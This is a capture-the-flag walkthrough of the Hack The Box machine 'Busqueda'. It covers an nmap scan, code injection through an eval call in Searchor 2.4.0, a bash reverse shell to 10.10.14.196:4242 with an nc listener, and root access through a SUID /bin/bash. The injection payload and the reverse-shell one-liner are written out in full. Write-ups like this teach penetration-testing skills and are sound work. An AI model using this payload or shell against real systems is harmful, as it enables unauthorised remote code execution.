HTB: Busqueda

Easy HTB machine with a RCE in searchor 2.4.0, after foothold privilege escalation via SUID.

port 22, and 80 are open.

DuxSec@hi$ nmap -p- -sV -sC 10.10.11.208 -v -oN nmap_all_ports Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-01 07:24 EDT Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://searcher.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As shown in the nmap results, I add searcher.htb to my /etc/hosts file.

less

10.10.11.208 searcher.htb

The website shows the following:

You can select an engine, for example Google and then insert a query, and it will show you the corresponding link. If you check the textbox auto redirect it will immediately redirect you to the page.

In the footer it shows that it runs Flask and Searchor 2.4.0

A quick google brings me to the Snyk page that describes the following:

Affected versions of this package are vulnerable to Arbitrary Code Execution due to unsafe implementation of eval method.

The Snyk page also shows the github commit where the vulnerability is fixed. Let’s inspect the code.

python

@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

Here the vulnerable eval shows itself, since the what do you want to search for textbox on the webpage, will be inserted as query here.

This blog post shows the significant dangers of eval.

I want to be able to run my own code (reverse shell) and gain a foothold. In order to do that I need to analyze the code better, and to do that I installed the vulnerable version (2.4.0) of searcher https://pypi.org/project/searchor/#history.

I then created this small example script to be able to test how I can run my own commands.

python

from searchor import Engine

def search(engine, query, open, copy):
    try:
        print(f"query: {query}")
        text = f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        print(f"text: {text}")
        print(f"eval: {eval(text)}") 
    except Exception as e:
        print(e)

if __name__ == "__main__":
    evil_query = "dog pictures"
    search("Google", evil_query, False, False)

This gives the following output

text

query: dog pictures
text: Engine.Google.search('dog pictures', copy_url=False, open_web=False)
eval: https://www.google.com/search?q=dog%20pictures

Now in order to escape the eval text, I use the following evil_query

python

evil_query = "'),__import__('os').system('whoami')#"

This results in the following output:

text

query: '),__import__('os').system('whoami')#
text: Engine.Google.search(''),__import__('os').system('whoami')#', copy_url=False, open_web=False)
root
eval: ('https://www.google.com/search?q=', 0)

As you can see it succesfully printed root according to the whoami.
Now I can change the whoami with the a bash reverse shell.

text

'),__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.196/4242 0>&1"')#

I start my nc listener on port 4242

DuxSec@hi$ nc -lnvp 4242 listening on [any] 4242 ...

I then run the crafted command in the what do you want to search for on the website to succesfully get a shell as svc.

nc -lnvp 4242 listening on [any] 4242 ... connect to [10.10.14.196] from (UNKNOWN) [10.10.11.208] 40024 bash: cannot set terminal process group (1675): Inappropriate ioctl for device bash: no job control in this shell bash-5.1$ whoami whoami svc bash-5.1$ cd ~ cd ~ bash-5.1$ ls ls user.txt bash-5.1$ cat user.txt cat user.txt 1bd5492**********

Linpeas shows the SUID bit is set for /bin/bash.
To get root I can just run bash -p to get a root shell.

Bash manual for -p
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not sup‐
plied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and
GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If
the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

bash-5.1$ bash -p bash-5.1# whoami root bash-5.1# cd bash-5.1# cd / bash-5.1# cd /root bash-5.1# ls ecosystem.config.js root.txt scripts snap bash-5.1# cat root.txt af10172afa************